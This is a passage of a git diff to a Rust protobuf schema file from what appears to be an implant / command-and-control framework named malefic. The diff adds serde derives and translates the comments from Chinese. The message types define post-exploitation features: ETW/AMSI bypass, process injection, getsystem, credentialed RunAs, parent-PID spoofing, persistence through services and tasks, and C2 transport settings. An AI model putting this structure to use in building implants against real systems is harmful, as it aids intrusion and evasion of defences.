malefic-crates/proto/src/proto/mod.rs index b7bc0cc..2d53035 100644 --- a/malefic-proto/src/proto/mod.rs +++ b/malefic-crates/proto/src/proto/mod.rs @@ -1,2 +1,2 @@ pub mod implantpb; -pub mod modulepb; \ No newline at end of file +pub mod modulepb; diff --git a/malefic-proto/src/proto/modulepb.rs b/malefic-crates/proto/src/proto/modulepb.rs similarity index 57% rename from malefic-proto/src/proto/modulepb.rs rename to malefic-crates/proto/src/proto/modulepb.rs index dc58101..cc7eda3 100644 --- a/malefic-proto/src/proto/modulepb.rs +++ b/malefic-crates/proto/src/proto/modulepb.rs @@ -1,778 +1,1429 @@ // This file is @generated by prost-build. +#[derive(serde::Deserialize)] #[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] pub struct Ping { #[prost(int32, tag = "1")] + #[serde(default)] pub nonce: i32, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct Register { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub proxy: ::prost::alloc::string::String, #[prost(string, repeated, tag = "3")] + #[serde(default)] pub module: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, #[prost(message, repeated, tag = "4")] + #[serde(default)] pub addons: ::prost::alloc::vec::Vec, #[prost(message, optional, tag = "5")] + #[serde(default)] pub timer: ::core::option::Option, #[prost(message, optional, tag = "11")] + #[serde(default)] pub sysinfo: ::core::option::Option, - /// implant的公钥,用于serveråŠ å¯†æ•°æ® + /// Implant's public key, used by server to encrypt data #[prost(message, optional, tag = "12")] + #[serde(default)] pub secure: ::core::option::Option, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Secure { #[prost(bool, tag = "1")] + #[serde(default)] pub enable: bool, /// encryption key #[prost(string, tag = "2")] + #[serde(default)] pub key: ::prost::alloc::string::String, /// encryption type #[prost(string, tag = "3")] + #[serde(default)] pub r#type: ::prost::alloc::string::String, - /// implant的公钥,用于serveråŠ å¯†æ•°æ® + /// Implant's public key, used by server to encrypt data #[prost(string, tag = "4")] + #[serde(default)] pub public_key: ::prost::alloc::string::String, } -/// Age 密钥交æ¢ç›¸å…³æ¶ˆæ¯ +/// Age key exchange related messages +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct KeyExchangeRequest { - /// 临时公钥 (Age X25519) + /// Temporary public key (Age X25519) #[prost(string, tag = "1")] + #[serde(default)] pub public_key: ::prost::alloc::string::String, - /// 对临时公钥的签å + /// Signature of temporary public key #[prost(bytes = "vec", tag = "2")] + #[serde(default)] pub signature: ::prost::alloc::vec::Vec, - /// 时间戳 + /// Timestamp #[prost(uint64, tag = "3")] + #[serde(default)] pub timestamp: u64, - /// éšæœºæ•° + /// Nonce #[prost(string, tag = "4")] + #[serde(default)] pub nonce: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct KeyExchangeResponse { - /// Server 临时公钥 + /// Server temporary public key #[prost(string, tag = "1")] + #[serde(default)] pub public_key: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Init { #[prost(bytes = "vec", tag = "1")] + #[serde(default)] pub data: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct SysInfo { #[prost(string, tag = "1")] + #[serde(default)] pub filepath: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub workdir: ::prost::alloc::string::String, #[prost(bool, tag = "3")] + #[serde(default)] pub is_privilege: bool, #[prost(message, optional, tag = "11")] + #[serde(default)] pub os: ::core::option::Option, #[prost(message, optional, tag = "12")] + #[serde(default)] pub process: ::core::option::Option, } +#[derive(serde::Deserialize)] #[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] pub struct Suicide { #[prost(int32, tag = "1")] + #[serde(default)] pub r#type: i32, #[prost(int64, tag = "2")] + #[serde(default)] pub timestamp: i64, } /// common empty request +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct Request { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub input: ::prost::alloc::string::String, #[prost(string, repeated, tag = "3")] + #[serde(default)] pub args: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, #[prost(map = "string, string", tag = "4")] + #[serde(default)] pub params: ::std::collections::HashMap< ::prost::alloc::string::String, ::prost::alloc::string::String, >, #[prost(bytes = "vec", tag = "5")] + #[serde(default)] pub bin: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct Response { #[prost(string, tag = "1")] + #[serde(default)] pub output: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub error: ::prost::alloc::string::String, #[prost(map = "string, string", tag = "3")] + #[serde(default)] pub kv: ::std::collections::HashMap< ::prost::alloc::string::String, ::prost::alloc::string::String, >, #[prost(string, repeated, tag = "4")] + #[serde(default)] pub array: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, } +#[derive(serde::Deserialize)] #[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] pub struct BypassRequest { #[prost(bool, tag = "1")] + #[serde(default)] pub etw: bool, #[prost(bool, tag = "2")] + #[serde(default)] pub amsi: bool, #[prost(bool, tag = "3")] + #[serde(default)] pub block_dll: bool, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct NetInterface { #[prost(int32, tag = "1")] + #[serde(default)] pub index: i32, #[prost(string, tag = "2")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub mac: ::prost::alloc::string::String, #[prost(string, repeated, tag = "4")] + #[serde(default)] pub ip_addresses: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct SockTabEntry { #[prost(string, tag = "1")] + #[serde(default)] pub local_addr: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub remote_addr: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub sk_state: ::prost::alloc::string::String, /// uint32 uid = 4; #[prost(string, tag = "5")] + #[serde(default)] pub pid: ::prost::alloc::string::String, #[prost(string, tag = "6")] + #[serde(default)] pub protocol: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct NetstatResponse { #[prost(message, repeated, tag = "1")] + #[serde(default)] pub socks: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Block { #[prost(uint32, tag = "1")] + #[serde(default)] pub block_id: u32, #[prost(bytes = "vec", tag = "2")] + #[serde(default)] pub content: ::prost::alloc::vec::Vec, #[prost(bool, tag = "3")] + #[serde(default)] pub end: bool, } +#[derive(serde::Deserialize)] #[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] pub struct Ack { #[prost(uint32, tag = "1")] + #[serde(default)] pub id: u32, #[prost(bool, tag = "2")] + #[serde(default)] pub success: bool, #[prost(bool, tag = "3")] + #[serde(default)] pub end: bool, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Os { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, /// kernel version #[prost(string, tag = "2")] + #[serde(default)] pub version: ::prost::alloc::string::String, /// release version #[prost(string, tag = "3")] + #[serde(default)] pub release: ::prost::alloc::string::String, #[prost(string, tag = "4")] + #[serde(default)] pub arch: ::prost::alloc::string::String, #[prost(string, tag = "5")] + #[serde(default)] pub username: ::prost::alloc::string::String, #[prost(string, tag = "6")] + #[serde(default)] pub hostname: ::prost::alloc::string::String, /// timezone #[prost(string, tag = "7")] + #[serde(default)] pub locale: ::prost::alloc::string::String, #[prost(string, repeated, tag = "8")] + #[serde(default)] pub clr_version: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Process { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(uint32, tag = "2")] + #[serde(default)] pub pid: u32, #[prost(uint32, tag = "3")] + #[serde(default)] pub ppid: u32, #[prost(string, tag = "4")] + #[serde(default)] pub owner: ::prost::alloc::string::String, #[prost(string, tag = "5")] + #[serde(default)] pub arch: ::prost::alloc::string::String, #[prost(string, tag = "6")] + #[serde(default)] pub path: ::prost::alloc::string::String, #[prost(string, tag = "7")] + #[serde(default)] pub args: ::prost::alloc::string::String, #[prost(string, tag = "8")] + #[serde(default)] pub uid: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct Timer { #[prost(string, tag = "1")] + #[serde(default)] pub expression: ::prost::alloc::string::String, #[prost(double, tag = "2")] + #[serde(default)] pub jitter: f64, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct FileInfo { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(bool, tag = "2")] + #[serde(default)] pub is_dir: bool, #[prost(uint64, tag = "3")] + #[serde(default)] pub size: u64, #[prost(int64, tag = "4")] + #[serde(default)] pub mod_time: i64, #[prost(uint32, tag = "5")] + #[serde(default)] pub mode: u32, #[prost(string, tag = "6")] + #[serde(default)] pub link: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct SacrificeProcess { #[prost(bool, tag = "1")] + #[serde(default)] pub hidden: bool, #[prost(bool, tag = "2")] + #[serde(default)] pub block_dll: bool, #[prost(bool, tag = "3")] + #[serde(default)] pub etw: bool, #[prost(uint32, tag = "4")] + #[serde(default)] pub ppid: u32, #[prost(string, tag = "5")] + #[serde(default)] pub argue: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct LsResponse { #[prost(string, tag = "1")] + #[serde(default)] pub path: ::prost::alloc::string::String, #[prost(bool, tag = "2")] + #[serde(default)] pub exists: bool, #[prost(message, repeated, tag = "3")] + #[serde(default)] pub files: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct DriveInfo { /// "C:\\" #[prost(string, tag = "1")] + #[serde(default)] pub path: ::prost::alloc::string::String, /// "Fixed drive" #[prost(string, tag = "2")] + #[serde(default)] pub drive_type: ::prost::alloc::string::String, /// #[prost(uint64, tag = "3")] + #[serde(default)] pub total_size: u64, /// #[prost(uint64, tag = "4")] + #[serde(default)] pub free_size: u64, /// "NTFS" #[prost(string, tag = "5")] + #[serde(default)] pub file_system: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct EnumDriversResponse { #[prost(message, repeated, tag = "1")] + #[serde(default)] pub drives: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct PsResponse { #[prost(message, repeated, tag = "1")] + #[serde(default)] pub processes: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct ExecRequest { #[prost(string, tag = "1")] + #[serde(default)] pub path: ::prost::alloc::string::String, #[prost(string, repeated, tag = "2")] + #[serde(default)] pub args: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, #[prost(bool, tag = "3")] + #[serde(default)] pub output: bool, #[prost(bool, tag = "4")] + #[serde(default)] pub singleton: bool, #[prost(bool, tag = "5")] + #[serde(default)] pub realtime: bool, #[prost(uint32, tag = "10")] + #[serde(default)] pub ppid: u32, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct ExecResponse { #[prost(int32, tag = "1")] + #[serde(default)] pub status_code: i32, #[prost(bytes = "vec", tag = "2")] + #[serde(default)] pub stdout: ::prost::alloc::vec::Vec, #[prost(bytes = "vec", tag = "3")] + #[serde(default)] pub stderr: ::prost::alloc::vec::Vec, #[prost(uint32, tag = "4")] + #[serde(default)] pub pid: u32, #[prost(bool, tag = "5")] + #[serde(default)] pub end: bool, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct BinaryResponse { /// common return, bof BeaconOutput #[prost(bytes = "vec", tag = "1")] + #[serde(default)] pub data: ::prost::alloc::vec::Vec, /// bof BeaconPrintf #[prost(bytes = "vec", tag = "2")] + #[serde(default)] pub message: ::prost::alloc::vec::Vec, #[prost(string, tag = "4")] + #[serde(default)] pub err: ::prost::alloc::string::String, #[prost(int32, tag = "3")] + #[serde(default)] pub status: i32, } -#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] pub struct Modules { #[prost(string, repeated, tag = "1")] + #[serde(default)] pub modules: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(map = "string, string", tag = "2")] + #[serde(default)] + pub bundle_map: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct Addons { #[prost(message, repeated, tag = "1")] + #[serde(default)] pub addons: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Addon { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub r#type: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub depend: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct LoadModule { #[prost(string, tag = "1")] + #[serde(default)] pub bundle: ::prost::alloc::string::String, #[prost(bytes = "vec", tag = "2")] + #[serde(default)] pub bin: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct LoadAddon { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub r#type: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub depend: ::prost::alloc::string::String, #[prost(bytes = "vec", tag = "4")] + #[serde(default)] pub bin: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct ExecuteAddon { #[prost(string, tag = "1")] + #[serde(default)] pub addon: ::prost::alloc::string::String, #[prost(message, optional, tag = "2")] + #[serde(default)] pub execute_binary: ::core::option::Option, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct ExecuteBinary { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(bytes = "vec", tag = "2")] + #[serde(default)] pub bin: ::prost::alloc::vec::Vec, #[prost(map = "string, string", tag = "3")] + #[serde(default)] pub param: ::std::collections::HashMap< ::prost::alloc::string::String, ::prost::alloc::string::String, >, #[prost(string, tag = "4")] + #[serde(default)] pub r#type: ::prost::alloc::string::String, #[prost(string, tag = "5")] + #[serde(default)] pub process_name: ::prost::alloc::string::String, #[prost(string, repeated, tag = "6")] + #[serde(default)] pub args: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, #[prost(string, tag = "7")] + #[serde(default)] pub entry_point: ::prost::alloc::string::String, #[prost(bytes = "vec", tag = "8")] + #[serde(default)] pub data: ::prost::alloc::vec::Vec, #[prost(bool, tag = "9")] + #[serde(default)] pub output: bool, #[prost(uint32, tag = "10")] + #[serde(default)] pub arch: u32, #[prost(uint32, tag = "11")] + #[serde(default)] pub timeout: u32, #[prost(message, optional, tag = "12")] + #[serde(default)] pub sacrifice: ::core::option::Option, #[prost(string, tag = "13")] + #[serde(default)] pub path: ::prost::alloc::string::String, #[prost(string, tag = "14")] + #[serde(default)] pub context: ::prost::alloc::string::String, /// millisecond #[prost(uint32, tag = "15")] + #[serde(default)] pub delay: u32, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct ExecuteCommand { #[prost(string, tag = "1")] + #[serde(default)] pub command: ::prost::alloc::string::String, #[prost(message, optional, tag = "2")] + #[serde(default)] pub sacrifice: ::core::option::Option, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct UploadRequest { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub target: ::prost::alloc::string::String, #[prost(uint32, tag = "3")] + #[serde(default)] pub r#priv: u32, #[prost(bytes = "vec", tag = "4")] + #[serde(default)] pub data: ::prost::alloc::vec::Vec, #[prost(bool, tag = "5")] + #[serde(default)] pub hidden: bool, #[prost(bool, tag = "6")] + #[serde(default)] pub r#override: bool, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct DownloadRequest { #[prost(string, tag = "1")] + #[serde(default)] pub path: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(uint32, tag = "3")] + #[serde(default)] pub buffer_size: u32, #[prost(bool, tag = "4")] + #[serde(default)] pub dir: bool, #[prost(int32, tag = "5")] + #[serde(default)] pub cur: i32, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct DownloadResponse { #[prost(string, tag = "1")] + #[serde(default)] pub checksum: ::prost::alloc::string::String, #[prost(uint64, tag = "2")] + #[serde(default)] pub size: u64, #[prost(int32, tag = "3")] + #[serde(default)] pub cur: i32, #[prost(bytes = "vec", tag = "4")] + #[serde(default)] pub content: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct CurlRequest { #[prost(string, tag = "1")] + #[serde(default)] pub url: ::prost::alloc::string::String, #[prost(int32, tag = "2")] + #[serde(default)] pub timeout: i32, #[prost(string, tag = "3")] + #[serde(default)] pub method: ::prost::alloc::string::String, #[prost(bytes = "vec", tag = "4")] + #[serde(default)] pub body: ::prost::alloc::vec::Vec, #[prost(map = "string, string", tag = "5")] + #[serde(default)] pub header: ::std::collections::HashMap< ::prost::alloc::string::String, ::prost::alloc::string::String, >, #[prost(string, tag = "6")] + #[serde(default)] pub hostname: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct ChownRequest { #[prost(string, tag = "1")] + #[serde(default)] pub path: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub uid: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub gid: ::prost::alloc::string::String, #[prost(bool, tag = "4")] + #[serde(default)] pub recursive: bool, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct IfconfigResponse { #[prost(message, repeated, tag = "1")] + #[serde(default)] pub net_interfaces: ::prost::alloc::vec::Vec, } /// wrap for client +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct RegistryRequest { #[prost(string, tag = "1")] + #[serde(default)] pub r#type: ::prost::alloc::string::String, #[prost(message, optional, tag = "2")] + #[serde(default)] pub registry: ::core::option::Option, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Registry { #[prost(string, tag = "1")] + #[serde(default)] pub hive: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub path: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub key: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct RegistryWriteRequest { #[prost(string, tag = "1")] + #[serde(default)] pub hive: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub path: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub key: ::prost::alloc::string::String, #[prost(string, tag = "5")] + #[serde(default)] pub string_value: ::prost::alloc::string::String, #[prost(bytes = "vec", tag = "6")] + #[serde(default)] pub byte_value: ::prost::alloc::vec::Vec, #[prost(uint32, tag = "7")] + #[serde(default)] pub dword_value: u32, #[prost(uint64, tag = "8")] + #[serde(default)] pub qword_value: u64, #[prost(uint32, tag = "10")] + #[serde(default)] pub regtype: u32, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct TaskScheduleRequest { #[prost(string, tag = "1")] + #[serde(default)] pub r#type: ::prost::alloc::string::String, #[prost(message, optional, tag = "2")] + #[serde(default)] pub taskschd: ::core::option::Option, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct TaskSchedule { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub path: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub executable_path: ::prost::alloc::string::String, #[prost(uint32, tag = "4")] + #[serde(default)] pub trigger_type: u32, #[prost(string, tag = "5")] + #[serde(default)] pub start_boundary: ::prost::alloc::string::String, #[prost(string, tag = "6")] + #[serde(default)] pub description: ::prost::alloc::string::String, #[prost(bool, tag = "7")] + #[serde(default)] pub enabled: bool, #[prost(string, tag = "8")] + #[serde(default)] pub last_run_time: ::prost::alloc::string::String, #[prost(string, tag = "9")] + #[serde(default)] pub next_run_time: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct TaskSchedulesResponse { #[prost(message, repeated, tag = "1")] + #[serde(default)] pub schedules: ::prost::alloc::vec::Vec, } /// wrap for client +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct ServiceRequest { #[prost(string, tag = "1")] + #[serde(default)] pub r#type: ::prost::alloc::string::String, #[prost(message, optional, tag = "2")] + #[serde(default)] pub service: ::core::option::Option, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct ServiceConfig { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub display_name: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub executable_path: ::prost::alloc::string::String, #[prost(uint32, tag = "4")] + #[serde(default)] pub start_type: u32, #[prost(uint32, tag = "5")] + #[serde(default)] pub error_control: u32, #[prost(string, tag = "6")] + #[serde(default)] pub account_name: ::prost::alloc::string::String, } +#[derive(serde::Deserialize)] #[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] pub struct ServiceStatus { #[prost(uint32, tag = "1")] + #[serde(default)] pub current_state: u32, #[prost(uint32, tag = "2")] + #[serde(default)] pub process_id: u32, #[prost(uint32, tag = "3")] + #[serde(default)] pub exit_code: u32, #[prost(uint32, tag = "4")] + #[serde(default)] pub checkpoint: u32, #[prost(uint32, tag = "5")] + #[serde(default)] pub wait_hint: u32, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Service { #[prost(message, optional, tag = "1")] + #[serde(default)] pub config: ::core::option::Option, #[prost(message, optional, tag = "2")] + #[serde(default)] pub status: ::core::option::Option, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct ServicesResponse { #[prost(message, repeated, tag = "1")] + #[serde(default)] pub services: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct WmiQueryRequest { #[prost(string, tag = "1")] + #[serde(default)] pub namespace: ::prost::alloc::string::String, #[prost(string, repeated, tag = "2")] + #[serde(default)] pub args: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, ::prost::Message)] pub struct WmiMethodRequest { #[prost(string, tag = "1")] + #[serde(default)] pub namespace: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub class_name: ::prost::alloc::string::String, #[prost(string, tag = "3")] + #[serde(default)] pub method_name: ::prost::alloc::string::String, #[prost(map = "string, string", tag = "4")] + #[serde(default)] pub params: ::std::collections::HashMap< ::prost::alloc::string::String, ::prost::alloc::string::String, >, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct RunAsRequest { - /// éœ€è¦æ‰§è¡Œçš„用户å + /// Username to execute as #[prost(string, tag = "1")] + #[serde(default)] pub username: ::prost::alloc::string::String, - /// 用户所属域 + /// User domain #[prost(string, tag = "2")] + #[serde(default)] pub domain: ::prost::alloc::string::String, - /// ç”¨æˆ·å¯†ç  + /// User password #[prost(string, tag = "3")] + #[serde(default)] pub password: ::prost::alloc::string::String, - /// 程åºè·¯å¾„ + /// Program path #[prost(string, tag = "4")] + #[serde(default)] pub program: ::prost::alloc::string::String, - /// 程åºå‚数(å¯é€‰ï¼‰ + /// Program arguments (optional) #[prost(string, tag = "5")] + #[serde(default)] pub args: ::prost::alloc::string::String, #[prost(bool, tag = "6")] + #[serde(default)] pub use_profile: bool, - /// 是å¦ä»…ä½¿ç”¨ç½‘ç»œå‡­æ® (å¯é€‰ï¼Œé»˜è®¤ false) + /// Use network credentials only (optional, default false) #[prost(bool, tag = "7")] + #[serde(default)] pub netonly: bool, #[prost(bool, tag = "8")] + #[serde(default)] pub use_env: bool, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct GetSystem { #[prost(bytes = "vec", tag = "1")] + #[serde(default)] pub bin: ::prost::alloc::vec::Vec, #[prost(uint32, tag = "2")] + #[serde(default)] pub pid: u32, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Inject { #[prost(bytes = "vec", tag = "1")] + #[serde(default)] pub bin: ::prost::alloc::vec::Vec, #[prost(uint32, tag = "2")] + #[serde(default)] pub pid: u32, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub token_pid: u32, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct Pipe { #[prost(string, tag = "1")] + #[serde(default)] pub name: ::prost::alloc::string::String, #[prost(string, tag = "2")] + #[serde(default)] pub target: ::prost::alloc::string::String, #[prost(bytes = "vec", tag = "4")] + #[serde(default)] pub data: ::prost::alloc::vec::Vec, } +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] pub struct PipeRequest { #[prost(string, tag = "1")] + #[serde(default)] pub r#type: ::prost::alloc::string::String, #[prost(message, optional, tag = "2")] + #[serde(default)] pub pipe: ::core::option::Option, } +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TargetTlsConfig { + #[prost(bool, tag = "1")] + #[serde(default)] + pub enable: bool, + #[prost(string, tag = "2")] + #[serde(default)] + pub version: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub sni: ::prost::alloc::string::String, + #[prost(bool, tag = "4")] + #[serde(default)] + pub skip_verify: bool, +} +#[derive(serde::Deserialize)] #[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TargetProxyConfig { + #[prost(string, tag = "1")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub host: ::prost::alloc::string::String, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub port: u32, + #[prost(string, tag = "4")] + #[serde(default)] + pub username: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + #[serde(default)] + pub password: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct TargetHttpConfig { + #[prost(string, tag = "1")] + #[serde(default)] + pub method: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub version: ::prost::alloc::string::String, + #[prost(map = "string, string", tag = "4")] + #[serde(default)] + pub headers: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct TargetRemConfig { + #[prost(string, tag = "1")] + #[serde(default)] + pub link: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Target { + #[prost(string, tag = "1")] + #[serde(default)] + pub address: ::prost::alloc::string::String, + /// "tcp" / "http" / "rem" + #[prost(string, tag = "2")] + #[serde(default)] + pub protocol: ::prost::alloc::string::String, + #[prost(message, optional, tag = "3")] + #[serde(default)] + pub tls_config: ::core::option::Option, + #[prost(message, optional, tag = "4")] + #[serde(default)] + pub proxy_config: ::core::option::Option, + 